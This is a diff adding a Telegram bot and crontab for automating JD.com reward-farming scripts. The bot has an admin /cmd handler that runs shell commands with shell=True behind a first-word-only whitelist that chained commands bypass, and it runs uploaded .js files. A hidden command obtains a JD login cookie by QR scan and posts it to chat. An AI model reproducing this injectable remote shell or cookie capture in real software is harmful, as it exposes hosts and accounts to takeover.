parse_mode=ParseMode.MARKDOWN_V2) + except: + context.bot.edit_message_text(text='```{}```'.format(' →→→ %s 执行出错 ←←← ' % cmd), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + raise + elif select_btn_type == 'cld': + query.answer(text='删除任务功能暂未实现', show_alert=True) + + elif select_btn_type == 'logs': + log_file = query.data.split()[-1] + if log_file == 'clear': + cmd = 'rm -rf %s*.log' % _logs_dir + try: + subprocess.check_output( + cmd, shell=True, timeout=600, stderr=subprocess.STDOUT) + + context.bot.edit_message_text(text='```{}```'.format(' →→→ 日志文件已清除 ←←← '), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + except: + context.bot.sendMessage(text='```{}```'.format(helpers.escape_markdown( + ' →→→ 清除日志执行出错 ←←← ')), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + raise + else: + context.bot.edit_message_text(text='```{}```'.format(' ↓↓↓ 下面为下载的%s文件 ↓↓↓ ' % select_btn_type), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + + query.message.reply_document(reply_to_message_id=query.message.message_id, quote=True, + document=open(log_file, 'rb')) + + else: + context.bot.edit_message_text(text='```{}```'.format(' →→→ 操作已取消 ←←← '), chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + + +def get_reply_markup_btn(cmd_type): + """因为编辑后也可能会需要到重新读取按钮,所以抽出来作为一个方法返回按钮list + + Returns + ------- + 返回一个对应命令类型按钮列表,方便读取 + """ + if cmd_type == 'logs': + keyboard_line = [] + logs_list = get_dir_file_list(_logs_dir, 'log') + if (len(logs_list)) > 0: + file_list = list(set(get_dir_file_list(_logs_dir, 'log'))) + file_list.sort() + for i in range(math.ceil(len(file_list) / 2)): + ret = file_list[0:2] + keyboard_column = [] + for ii in ret: + keyboard_column.append(InlineKeyboardButton( + ii.split('/')[-1], callback_data='logs %s' % ii)) + file_list.remove(ii) + keyboard_line.append(keyboard_column) + + keyboard_line.append([InlineKeyboardButton('清除日志', callback_data='logs clear'), + InlineKeyboardButton('取消操作', callback_data='cancel')]) + else: + keyboard_line.append([InlineKeyboardButton( + '未找到相关日志文件', callback_data='cancel')]) + reply_markup = InlineKeyboardMarkup(keyboard_line) + elif cmd_type == 'crontab_l': + button_list = list(set(get_crontab_list(cmd_type))) + keyboard_line = [] + if len(button_list) > 0: + for i in button_list: + keyboard_column = [InlineKeyboardButton( + i, callback_data='cl %s' % i)] + + button_list.remove(i) + keyboard_line.append(keyboard_column) + keyboard_line.append( + [InlineKeyboardButton('取消操作', callback_data='cancel')]) + else: + keyboard_line.append([InlineKeyboardButton( + '未从%s获取到任务列表' % crontab_list_file, callback_data='cancel')]) + reply_markup = InlineKeyboardMarkup(keyboard_line) + elif cmd_type == 'node' or cmd_type == 'spnode': + button_list = list(set(get_crontab_list(cmd_type))) + button_list.sort() + keyboard_line = [] + for i in range(math.ceil(len(button_list) / 2)): + ret = button_list[0:2] + keyboard_column = [] + for ii in ret: + keyboard_column.append(InlineKeyboardButton( + ii.split('/')[-1], callback_data=ii)) + button_list.remove(ii) + keyboard_line.append(keyboard_column) + + keyboard_line.append( + [InlineKeyboardButton('取消操作', callback_data='cancel')]) + + reply_markup = InlineKeyboardMarkup(keyboard_line) + elif cmd_type == 'git': + # button_list = list(set(get_crontab_list(cmd_type))) + # button_list.sort() + keyboard_line = [[InlineKeyboardButton('git pull', callback_data='git -C %s pull' % _base_dir), + InlineKeyboardButton('git reset --hard', callback_data='git -C %s reset --hard' % _base_dir)], + [InlineKeyboardButton('取消操作', callback_data='cancel')]] + # for i in range(math.ceil(len(button_list) / 2)): + # ret = button_list[0:2] + # keyboard_column = [] + # for ii in ret: + # keyboard_column.append(InlineKeyboardButton( + # ii.split('/')[-1], callback_data=ii)) + # button_list.remove(ii) + # keyboard_line.append(keyboard_column) + # if len(keyboard_line) < 1: + # keyboard_line.append( + # [InlineKeyboardButton('git pull', callback_data='git -C %s pull' % _base_dir), + # InlineKeyboardButton('git reset --hard', callback_data='git -C %s reset --hard' % _base_dir)]) + reply_markup = InlineKeyboardMarkup(keyboard_line) + else: + reply_markup = InlineKeyboardMarkup( + [[InlineKeyboardButton('没找到对的命令操作按钮', callback_data='cancel')]]) + + return reply_markup + + +def get_crontab_list(cmd_type): + """获取任务列表里面的node相关的定时任务 + + Parameters + ---------- + cmd_type: 是任务的命令类型 + # item_idx: 确定取的需要取之是定任务里面第几个空格后的值作为后面执行指令参数 + + Returns + ------- + 返回一个指定命令类型定时任务列表 + """ + button_list = [] + try: + with open(_docker_dir + crontab_list_file) as lines: + array = lines.readlines() + for i in array: + i = i.replace('|ts', '').strip('\n') + if i.startswith('#') or len(i) < 5: + pass + else: + items = i.split('>>') + item_sub = items[0].split()[5:] + # logger.info(item_sub[0]) + if cmd_type.find(item_sub[0]) > -1: + if cmd_type == 'spnode': + # logger.info(str(' '.join(item_sub)).replace('node','spnode')) + button_list.append(str(' '.join(item_sub)).replace('node', 'spnode')) + else: + button_list.append(' '.join(item_sub)) + elif cmd_type == 'crontab_l': + button_list.append(items[0]) + except: + logger.warning(f'读取定时任务配置文件 {crontab_list_file} 出错') + finally: + return button_list + + +def get_dir_file_list(dir_path, file_type): + """获取传入的路径下的文件列表 + + Parameters + ---------- + dir_path: 完整的目录路径,不需要最后一个 + file_type: 或者文件的后缀名字 + + Returns + ------- + 返回一个完整绝对路径的文件列表,方便读取 + """ + cmd = 'ls %s*.%s' % (dir_path, file_type) + file_list = [] + try: + out_bytes = subprocess.check_output( + cmd, shell=True, timeout=5, stderr=subprocess.STDOUT) + out_text = out_bytes.decode('utf-8') + file_list = out_text.split() + except: + logger.warning(f'{dir_path}目录下,不存在{file_type}对应的文件') + finally: + return file_list + + +def is_admin(from_user_id): + if str(admin_id) == str(from_user_id): + return True + else: + return False + + +class CodeConf(object): + def __init__(self, bot_id, submit_code, log_name, activity_code, find_split_char): + self.bot_id = bot_id + self.submit_code = submit_code + self.log_name = log_name + self.activity_code = activity_code + self.find_split_char = find_split_char + + def get_submit_msg(self): + code_list = [] + ac = self.activity_code if self.activity_code != "@N" else "" + try: + with open("%s%s" % (_logs_dir, self.log_name), 'r') as lines: + array = lines.readlines() + for i in array: + # print(self.find_split_char) + if i.find(self.find_split_char) > -1: + code_list.append(i.split(self.find_split_char)[ + 1].replace('\n', '')) + if self.activity_code == "@N": + return '%s %s' % (self.submit_code, + "&".join(list(set(code_list)))) + else: + return '%s %s %s' % (self.submit_code, ac, + "&".join(list(set(code_list)))) + except: + return "%s %s活动获取系统日志文件异常,请检查日志文件是否存在" % (self.submit_code, ac) + + +def gen_long_code(update, context): + """ + 长期活动互助码提交消息生成 + """ + long_code_conf = [] + bot_list = [] + try: + with open(_share_code_conf, 'r') as lines: + array = lines.readlines() + for i in array: + if i.startswith("long"): + bot_list.append(i.split('-')[1]) + code_conf = CodeConf( + i.split('-')[1], i.split('-')[2], i.split('-')[3], i.split('-')[4], + i.split('-')[5].replace('\n', '')) + long_code_conf.append(code_conf) + + for bot in list(set(bot_list)): + for cf in long_code_conf: + if cf.bot_id == bot: + print() + context.bot.send_message(chat_id=update.effective_chat.id, text=cf.get_submit_msg()) + context.bot.send_message(chat_id=update.effective_chat.id, text="以上为 %s 可以提交的活动互助码" % bot) + except: + context.bot.send_message(chat_id=update.effective_chat.id, + text="获取互助码消息生成配置文件失败,请检查%s文件是否存在" % _share_code_conf) + + +def gen_temp_code(update, context): + """ + 短期临时活动互助码提交消息生成 + """ + temp_code_conf = [] + bot_list = [] + try: + with open(_share_code_conf, 'r') as lines: + array = lines.readlines() + for i in array: + if i.startswith("temp"): + bot_list.append(i.split('-')[1]) + code_conf = CodeConf( + i.split('-')[1], i.split('-')[2], i.split('-')[3], i.split('-')[4], + i.split('-')[5].replace('\n', '')) + temp_code_conf.append(code_conf) + + for bot in list(set(bot_list)): + for cf in temp_code_conf: + if cf.bot_id == bot: + print() + context.bot.send_message(chat_id=update.effective_chat.id, text=cf.get_submit_msg()) + context.bot.send_message(chat_id=update.effective_chat.id, text="以上为 %s 可以提交的短期临时活动互助码" % bot) + except: + context.bot.send_message(chat_id=update.effective_chat.id, + text="获取互助码消息生成配置文件失败,请检查%s文件是否存在" % _share_code_conf) + + +def gen_daily_code(update, context): + """ + 每天变化互助码活动提交消息生成 + """ + daily_code_conf = [] + bot_list = [] + try: + with open(_share_code_conf, 'r') as lines: + array = lines.readlines() + for i in array: + if i.startswith("daily"): + bot_list.append(i.split('-')[1]) + code_conf = CodeConf( + i.split('-')[1], i.split('-')[2], i.split('-')[3], i.split('-')[4], + i.split('-')[5].replace('\n', '')) + daily_code_conf.append(code_conf) + + for bot in list(set(bot_list)): + for cf in daily_code_conf: + if cf.bot_id == bot: + print() + context.bot.send_message(chat_id=update.effective_chat.id, text=cf.get_submit_msg()) + context.bot.send_message(chat_id=update.effective_chat.id, text="以上为 %s 可以提交的每天变化活动互助码" % bot) + except: + context.bot.send_message(chat_id=update.effective_chat.id, + text="获取互助码消息生成配置文件失败,请检查%s文件是否存在" % _share_code_conf) + + +def shcmd(update, context): + """ + 执行终端命令,超时时间为60,执行耗时或者不退出的指令会报超时异常 + """ + if is_admin(update.message.from_user.id): + commands = update.message.text.split() + commands.remove('/cmd') + if len(commands) > 0: + support_cmd = ["echo", "ls", "pwd", "cp", "mv", "ps", "wget", "cat", "sed", "git", "apk", "sh", + "docker_entrypoint.sh"] + if commands[0] in support_cmd: + sp_cmd = ["sh", "docker_entrypoint.sh"] + cmd = ' '.join(commands) + try: + # 测试发现 subprocess.check_output 执行shell 脚本文件的时候无法正常执行获取返回结果 + # 所以 ["sh", "docker_entrypoint.sh"] 指令换为 subprocess.Popen 方法执行 + out_text = "" + if commands[0] in sp_cmd: + p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) + while p.poll() is None: + line = p.stdout.readline() + # logger.info(line.decode('utf-8')) + out_text = out_text + line.decode('utf-8') + else: + out_bytes = subprocess.check_output( + cmd, shell=True, timeout=60, stderr=subprocess.STDOUT) + out_text = out_bytes.decode('utf-8') + + if len(out_text.split('\n')) > 50: + msg = context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果超长,请查看log ↓↓↓' % cmd)), + chat_id=update.effective_chat.id, + parse_mode=ParseMode.MARKDOWN_V2) + log_name = '%sbot_%s_%s.log' % (_logs_dir, 'cmd', commands[0]) + with open(log_name, 'w') as wf: + wf.write(out_text) + msg.reply_document( + reply_to_message_id=msg.message_id, quote=True, document=open(log_name, 'rb')) + else: + context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果 ↓↓↓ \n\n%s ' % (cmd, out_text))), + chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + + except TimeoutExpired: + context.bot.sendMessage(text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行超时 ←←← ' % ( + cmd))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + except Exception as e: + context.bot.sendMessage( + text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行出错,请检查确认命令是否正确 ←←← ' % ( + cmd))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + logger.error(e) + else: + update.message.reply_text( + text='```{}```'.format( + helpers.escape_markdown( + f' →→→ {commands[0]}指令不在支持命令范围,请输入其他支持的指令{"|".join(support_cmd)} ←←← ')), + parse_mode=ParseMode.MARKDOWN_V2) + else: + update.message.reply_text( + text='```{}```'.format(helpers.escape_markdown(' →→→ 请在/cmd 后写自己需要执行的指的命令 ←←← ')), + parse_mode=ParseMode.MARKDOWN_V2) + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +# getSToken请求获取,s_token用于发送post请求是的必须参数 +s_token = "" +# getSToken请求获取,guid,lsid,lstoken用于组装cookies +guid, lsid, lstoken = "", "", "" +# 由上面参数组装生成,getOKLToken函数发送请求需要使用 +cookies = "" +# getOKLToken请求获取,token用户生成二维码使用、okl_token用户检查扫码登录结果使用 +token, okl_token = "", "" +# 最终获取到的可用的cookie +jd_cookie = "" + + +def get_jd_cookie(update, context): + getSToken() + getOKLToken() + + qr_code_path = genQRCode() + photo_file = open(qr_code_path, 'rb') + photo_message = context.bot.send_photo(chat_id=update.effective_chat.id, photo=photo_file, + caption="请使用京东APP扫描二维码获取Cookie(二维码有效期:3分钟)") + photo_file.close() + + return_msg = chekLogin() + if return_msg == 0: + context.bot.delete_message(chat_id=update.effective_chat.id, message_id=photo_message.message_id) + context.bot.send_message(chat_id=update.effective_chat.id, text="获取Cookie成功\n`%s`" % jd_cookie, + parse_mode=ParseMode.MARKDOWN_V2) + + elif return_msg == 21: + context.bot.delete_message(chat_id=update.effective_chat.id, message_id=photo_message.message_id) + context.bot.edit_message_text(chat_id=update.effective_chat.id, message_id=photo_message.message_id, + text="二维码已经失效,请重新获取") + else: + context.bot.delete_message(chat_id=update.effective_chat.id, message_id=photo_message.message_id) + context.bot.edit_message_text(chat_id=update.effective_chat.id, message_id=photo_message.message_id, + text=return_msg) + + +def getSToken(): + time_stamp = int(time.time() * 1000) + get_url = 'https://plogin.m.jd.com/cgi-bin/mm/new_login_entrance?lang=chs&appid=300&returnurl=https://wq.jd.com/passport/LoginRedirect?state=%s&returnurl=https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action&source=wq_passport' % time_stamp + get_header = { + 'Connection': 'Keep-Alive', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Accept': 'application/json, text/plain, */*', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://plogin.m.jd.com/login/login?appid=300&returnurl=https://wq.jd.com/passport/LoginRedirect?state=%s&returnurl=https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action&source=wq_passport' % time_stamp, + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36', + 'Host': 'plogin.m.jd.com' + } + try: + resp = requests.get(url=get_url, headers=get_header) + parseGetRespCookie(resp.headers, resp.json()) + logger.info(resp.headers) + logger.info(resp.json()) + except Exception as error: + logger.exception("Get网络请求异常", error) + + +def parseGetRespCookie(headers, get_resp): + global s_token + global cookies + s_token = get_resp.get('s_token') + set_cookies = headers.get('set-cookie') + logger.info(set_cookies) + + guid = re.findall(r"guid=(.+?);", set_cookies)[0] + lsid = re.findall(r"lsid=(.+?);", set_cookies)[0] + lstoken = re.findall(r"lstoken=(.+?);", set_cookies)[0] + + cookies = f"guid={guid}; lang=chs; lsid={lsid}; lstoken={lstoken}; " + logger.info(cookies) + + +def getOKLToken(): + post_time_stamp = int(time.time() * 1000) + post_url = 'https://plogin.m.jd.com/cgi-bin/m/tmauthreflogurl?s_token=%s&v=%s&remember=true' % ( + s_token, post_time_stamp) + post_data = { + 'lang': 'chs', + 'appid': 300, + 'returnurl': 'https://wqlogin2.jd.com/passport/LoginRedirect?state=%s&returnurl=//home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action' % post_time_stamp, + 'source': 'wq_passport' + } + post_header = { + 'Connection': 'Keep-Alive', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Accept': 'application/json, text/plain, */*', + 'Cookie': cookies, + 'Referer': 'https://plogin.m.jd.com/login/login?appid=300&returnurl=https://wqlogin2.jd.com/passport/LoginRedirect?state=%s&returnurl=//home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action&source=wq_passport' % post_time_stamp, + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36', + 'Host': 'plogin.m.jd.com', + } + try: + global okl_token + resp = requests.post(url=post_url, headers=post_header, data=post_data, timeout=20) + parsePostRespCookie(resp.headers, resp.json()) + logger.info(resp.headers) + except Exception as error: + logger.exception("Post网络请求错误", error) + + +def parsePostRespCookie(headers, data): + global token + global okl_token + + token = data.get('token') + print(headers.get('set-cookie')) + okl_token = re.findall(r"okl_token=(.+?);", headers.get('set-cookie'))[0] + + logger.info("token:" + token) + logger.info("okl_token:" + okl_token) + + +def genQRCode(): + global qr_code_path + cookie_url = f'https://plogin.m.jd.com/cgi-bin/m/tmauth?appid=300&client_type=m&token=%s' % token + version, level, qr_name = myqr.run( + words=cookie_url, + # 扫描二维码后,显示的内容,或是跳转的链接 + version=5, # 设置容错率 + level='H', # 控制纠错水平,范围是L、M、Q、H,从左到右依次升高 + picture='/scripts/docker/bot/jd.png', # 图片所在目录,可以是动图 + colorized=True, # 黑白(False)还是彩色(True) + contrast=1.0, # 用以调节图片的对比度,1.0 表示原始图片。默认为1.0。 + brightness=1.0, # 用来调节图片的亮度,用法同上。 + save_name='/scripts/docker/genQRCode.png', # 控制输出文件名,格式可以是 .jpg, .png ,.bmp ,.gif + ) + return qr_name + + +def chekLogin(): + expired_time = time.time() + 60 * 3 + while True: + check_time_stamp = int(time.time() * 1000) + check_url = 'https://plogin.m.jd.com/cgi-bin/m/tmauthchecktoken?&token=%s&ou_state=0&okl_token=%s' % ( + token, okl_token) + check_data = { + 'lang': 'chs', + 'appid': 300, + 'returnurl': 'https://wqlogin2.jd.com/passport/LoginRedirect?state=%s&returnurl=//home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action' % check_time_stamp, + 'source': 'wq_passport' + + } + check_header = { + 'Referer': f'https://plogin.m.jd.com/login/login?appid=300&returnurl=https://wqlogin2.jd.com/passport/LoginRedirect?state=%s&returnurl=//home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action&source=wq_passport' % check_time_stamp, + 'Cookie': cookies, + 'Connection': 'Keep-Alive', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Accept': 'application/json, text/plain, */*', + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36', + + } + resp = requests.post(url=check_url, headers=check_header, data=check_data, timeout=30) + data = resp.json() + if data.get("errcode") == 0: + parseJDCookies(resp.headers) + return data.get("errcode") + if data.get("errcode") == 21: + return data.get("errcode") + if time.time() > expired_time: + return "超过3分钟未扫码,二维码已过期。" + + +def parseJDCookies(headers): + global jd_cookie + logger.info("扫码登录成功,下面为获取到的用户Cookie。") + set_cookie = headers.get('Set-Cookie') + pt_key = re.findall(r"pt_key=(.+?);", set_cookie)[0] + pt_pin = re.findall(r"pt_pin=(.+?);", set_cookie)[0] + logger.info(pt_key) + logger.info(pt_pin) + jd_cookie = f'pt_key={pt_key};pt_pin={pt_pin};' + + +def saveFile(update, context): + from_user_id = update.message.from_user.id + if admin_id == str(from_user_id): + js_file_name = update.message.document.file_name + if str(js_file_name).endswith(".js"): + save_path = f"{_base_dir}{js_file_name}" + try: + # logger.info(update.message) + file = context.bot.getFile(update.message.document.file_id) + file.download(save_path) + keyboard_line = [[InlineKeyboardButton('node 执行', callback_data='node %s ' % save_path), + InlineKeyboardButton('spnode 执行', + callback_data='spnode %s' % save_path)], + [InlineKeyboardButton('取消操作', callback_data='cancel')]] + + reply_markup = InlineKeyboardMarkup(keyboard_line) + + update.message.reply_text( + text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 上传至/scripts完成,请请选择需要的操作 ↓↓↓ ' % js_file_name)), + reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN_V2) + + except Exception as e: + update.message.reply_text(text='```{}```'.format( + helpers.escape_markdown(" →→→ %s js上传至/scripts过程中出错,请重新尝试。 ←←← " % js_file_name)), + parse_mode=ParseMode.MARKDOWN_V2) + else: + update.message.reply_text(text='```{}```'.format( + helpers.escape_markdown(" →→→ 抱歉,暂时只开放上传js文件至/scripts目录 ←←← ")), + parse_mode=ParseMode.MARKDOWN_V2) + + +def unknown(update, context): + """回复用户输入不存在的指令 + """ + from_user_id = update.message.from_user.id + if admin_id == str(from_user_id): + spnode_readme = "" + if "DISABLE_SPNODE" not in os.environ: + spnode_readme = "/spnode 获取可执行脚本的列表,选择对应的按钮执行。(拓展使用:运行指定路径脚本,例:/spnode /scripts/jd_818.js)\n\n" \ + "使用bot交互+spnode后 后续用户的cookie维护更新只需要更新logs/cookies.list即可\n" \ + "使用bot交互+spnode后 后续执行脚本命令请使用spnode否者无法使用logs/cookies.list的cookies执行脚本,定时任务也将自动替换为spnode命令执行\n" \ + "spnode功能概述示例\n\n" \ + "spnode conc /scripts/jd_bean_change.js 为每个cookie单独执行jd_bean_change脚本(伪并发\n" \ + "spnode 1 /scripts/jd_bean_change.js 为logs/cookies.list文件里面第一行cookie账户单独执行jd_bean_change脚本\n" \ + "spnode jd_XXXX /scripts/jd_bean_change.js 为logs/cookies.list文件里面pt_pin=jd_XXXX的cookie账户单独执行jd_bean_change脚本\n" \ + "spnode /scripts/jd_bean_change.js 为logs/cookies.list所有cookies账户一起执行jd_bean_change脚本\n" \ + "请仔细阅读并理解上面的内容,使用bot交互默认开启spnode指令功能功能。\n" \ + "如需____停用___请配置环境变量 -DISABLE_SPNODE=True" + update.message.reply_text(text="⚠️ 您输入了一个错误的指令,请参考说明使用\n" \ + "\n" \ + "/start 开始并获取指令说明\n" \ + "/node 获取可执行脚本的列表,选择对应的按钮执行。(拓展使用:运行指定路径脚本,例:/node /scripts/jd_818.js) \n" \ + "/git 获取可执行git指令列表,选择对应的按钮执行。(拓展使用:运行指定路径脚本,例:/git -C /scripts/ pull)\n" \ + "/logs 获取logs下的日志文件列表,选择对应名字可以下载日志文件\n" \ + "/env 获取系统环境变量列表。(拓展使用:设置系统环境变量,例:/env export JD_DEBUG=true,环境变量只针对当前bot进程生效) \n" \ + "/cmd 执行执行命令。参考:/cmd ls -l 涉及目录文件操作请使用绝对路径,部分shell命令开放使用\n" \ + "/gen_long_code 长期活动互助码提交消息生成\n" \ + "/gen_temp_code 短期临时活动互助码提交消息生成\n" \ + "/gen_daily_code 每天变化互助码活动提交消息生成\n\n%s" % spnode_readme, + parse_mode=ParseMode.HTML) + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +def error(update, context): + """Log Errors caused by Updates.""" + logger.warning('Update "%s" caused error "%s"', update, context.error) + context.bot.send_message( + 'Update "%s" caused error "%s"', update, context.error) + + +def main(): + global admin_id, bot_token, crontab_list_file + + if 'TG_BOT_TOKEN' in os.environ: + bot_token = os.getenv('TG_BOT_TOKEN') + + if 'TG_USER_ID' in os.environ: + admin_id = os.getenv('TG_USER_ID') + + if 'CRONTAB_LIST_FILE' in os.environ: + crontab_list_file = os.getenv('CRONTAB_LIST_FILE') + else: + crontab_list_file = 'crontab_list.sh' + + logger.info('CRONTAB_LIST_FILE=' + crontab_list_file) + + # 创建更新程序并参数为你Bot的TOKEN。 + updater = Updater(bot_token, use_context=True) + + # 获取调度程序来注册处理程序 + dp = updater.dispatcher + + # 通过 start 函数 响应 '/start' 命令 + dp.add_handler(CommandHandler('start', start)) + + # 通过 start 函数 响应 '/help' 命令 + dp.add_handler(CommandHandler('help', start)) + + # 通过 node 函数 响应 '/node' 命令 + dp.add_handler(CommandHandler('node', node)) + + # 通过 node 函数 响应 '/spnode' 命令 + dp.add_handler(CommandHandler('spnode', spnode)) + + # 通过 git 函数 响应 '/git' 命令 + dp.add_handler(CommandHandler('git', git)) + + # 通过 crontab 函数 响应 '/crontab' 命令 + dp.add_handler(CommandHandler('crontab', crontab)) + + # 通过 logs 函数 响应 '/logs' 命令 + dp.add_handler(CommandHandler('logs', logs)) + + # 通过 cmd 函数 响应 '/cmd' 命令 + dp.add_handler(CommandHandler('cmd', shcmd)) + + # 通过 callback_run 函数 响应相关按钮命令 + dp.add_handler(CallbackQueryHandler(callback_run)) + + # 通过 env 函数 响应 '/env' 命令 + dp.add_handler(CommandHandler('env', env)) + + # 通过 gen_long_code 函数 响应 '/gen_long_code' 命令 + dp.add_handler(CommandHandler('gen_long_code', gen_long_code)) + + # 通过 gen_temp_code 函数 响应 '/gen_temp_code' 命令 + dp.add_handler(CommandHandler('gen_temp_code', gen_temp_code)) + + # 通过 gen_daily_code 函数 响应 '/gen_daily_code' 命令 + dp.add_handler(CommandHandler('gen_daily_code', gen_daily_code)) + + # 通过 get_jd_cookie 函数 响应 '/eikooc_dj_teg' 命令 #别问为啥这么写,有意为之的 + dp.add_handler(CommandHandler('eikooc_dj_teg', get_jd_cookie)) + + # 文件监听 + dp.add_handler(MessageHandler(Filters.document, saveFile)) + + # 没找到对应指令 + dp.add_handler(MessageHandler(Filters.command, unknown)) + + # 响应普通文本消息 + # dp.add_handler(MessageHandler(Filters.text, resp_text)) + + dp.add_error_handler(error) + + updater.start_polling() + updater.idle() + + +# 生成依赖安装列表 +# pip3 freeze > requirements.txt +# 或者使用pipreqs +# pip3 install pipreqs +# 在当前目录生成 +# pipreqs . --encoding=utf8 --force +# 使用requirements.txt安装依赖 +# pip3 install -r requirements.txt +if __name__ == '__main__': + main() diff --git a/docker/bot/requirements.txt b/docker/bot/requirements.txt new file mode 100644 index 0000000..4b29cbe --- /dev/null +++ b/docker/bot/requirements.txt @@ -0,0 +1,5 @@ +python_telegram_bot==13.0 +requests==2.23.0 +MyQR==2.3.1 +telegram==0.0.1 +tzlocal<3.0 diff --git a/docker/bot/setup.py b/docker/bot/setup.py new file mode 100644 index 0000000..a1be8e0 --- /dev/null +++ b/docker/bot/setup.py @@ -0,0 +1,13 @@ +# -*- coding: utf-8 -*- +# @Author : iouAkira(lof) +# @mail : e.akimoto.akira@gmail.com +# @CreateTime: 2020-11-02 +# @UpdateTime: 2021-03-21 + +from setuptools import setup + +setup( + name='jd-scripts-bot', + version='0.2', + scripts=['jd_bot', ], +) diff --git a/docker/crontab_list.sh b/docker/crontab_list.sh new file mode 100644 index 0000000..b7b723f --- /dev/null +++ b/docker/crontab_list.sh @@ -0,0 +1,229 @@ +# 每3天的23:50分清理一次日志(互助码不清理,proc_file.sh对该文件进行了去重) +50 23 */3 * * find /scripts/logs -name '*.log' | grep -v 'sharecodeCollection' | xargs rm -rf +#收集助力码 +30 * * * * sh +x /scripts/docker/auto_help.sh collect >> /scripts/logs/auto_help_collect.log 2>&1 + +##############活动############## + +#宠汪汪 +35 0-23/2 * * * node /scripts/jd_joy.js >> /scripts/logs/jd_joy.log 2>&1 +#宠汪汪兑换 +59 7,15,23 * * * node /scripts/jd_joy_reward.js >> /scripts/logs/jd_joy_reward.log 2>&1 +#点点券 +#10 6,20 * * * node /scripts/jd_necklace.js >> /scripts/logs/jd_necklace.log 2>&1 +#惊喜签到 +0 3,8 * * * node /scripts/jd_jxsign.js >> /scripts/logs/jd_jxsign.log 2>&1 +#东东超市兑换奖品 +59 23 * * * node /scripts/jd_blueCoin.js >> /scripts/logs/jd_blueCoin.log 2>&1 +#财富岛 +35 * * * * node /scripts/jd_cfd.js >> /scripts/logs/jd_cfd.log 2>&1 +#京东汽车 +10 4,20 * * * node /scripts/jd_car.js >> /scripts/logs/jd_car.log 2>&1 +#金榜创造营 +13 5,19 * * * node /scripts/jd_gold_creator.js >> /scripts/logs/jd_gold_creator.log 2>&1 +#京东多合一签到 +0 4,14 * * * node /scripts/jd_bean_sign.js >> /scripts/logs/jd_bean_sign.log 2>&1 +#半点京豆雨 +30 0-23/1 * * * node /scripts/jd_half_redrain.js >> /scripts/logs/jd_half_redrain.log 2>&1 +#东东超市 +39 * * * * node /scripts/jd_superMarket.js >> /scripts/logs/jd_superMarket.log 2>&1 +#京东极速版红包 +20 2,12 * * * node /scripts/jd_speed_redpocke.js >> /scripts/logs/jd_speed_redpocke.log 2>&1 +#领京豆额外奖励 +10 3,9 * * * node /scripts/jd_bean_home.js >> /scripts/logs/jd_bean_home.log 2>&1 +#京东资产变动通知 +0 12 * * * node /scripts/jd_bean_change.js >> /scripts/logs/jd_bean_change.log 2>&1 +#京东极速版 +0 1,7 * * * node /scripts/jd_speed_sign.js >> /scripts/logs/jd_speed_sign.log 2>&1 +#我是大老板 +35 0-23/1 * * * node /scripts/jd_wsdlb.js >> /scripts/logs/jd_wsdlb.log 2>&1 +# +5 3,19 * * * node /scripts/jd_unsubscribe.js >> /scripts/logs/jd_unsubscribe.log 2>&1 +#东东萌宠 +45 6-18/6 * * * node /scripts/jd_pet.js >> /scripts/logs/jd_pet.log 2>&1 +#挑一挑 +1 3,9,18 * * * node /scripts/jd_jump.js >> /scripts/logs/jd_jump.log 2>&1 +# +36 0,1-23/3 * * * node /scripts/jd_mohe.js >> /scripts/logs/jd_mohe.log 2>&1 +#种豆得豆 +44 0-23/6 * * * node /scripts/jd_plantBean.js >> /scripts/logs/jd_plantBean.log 2>&1 +#东东农场 +35 6-18/6 * * * node /scripts/jd_fruit.js >> /scripts/logs/jd_fruit.log 2>&1 +#删除优惠券 +0 3,20 * * * node /scripts/jd_delCoupon.js >> /scripts/logs/jd_delCoupon.log 2>&1 +# +5 2,19 * * * node /scripts/jd_club_lottery.js >> /scripts/logs/jd_club_lottery.log 2>&1 +# +40 * * * * node /scripts/jd_jdfactory.js >> /scripts/logs/jd_jdfactory.log 2>&1 +# +0 0-23/1 * * * node /scripts/jd_super_redrain.js >> /scripts/logs/jd_super_redrain.log 2>&1 +#领金贴 +10 1 * * * node /scripts/jd_jin_tie.js >> /scripts/logs/jd_jin_tie.log 2>&1 +#健康社区 +13 2,5,20 * * * node /scripts/jd_health.js 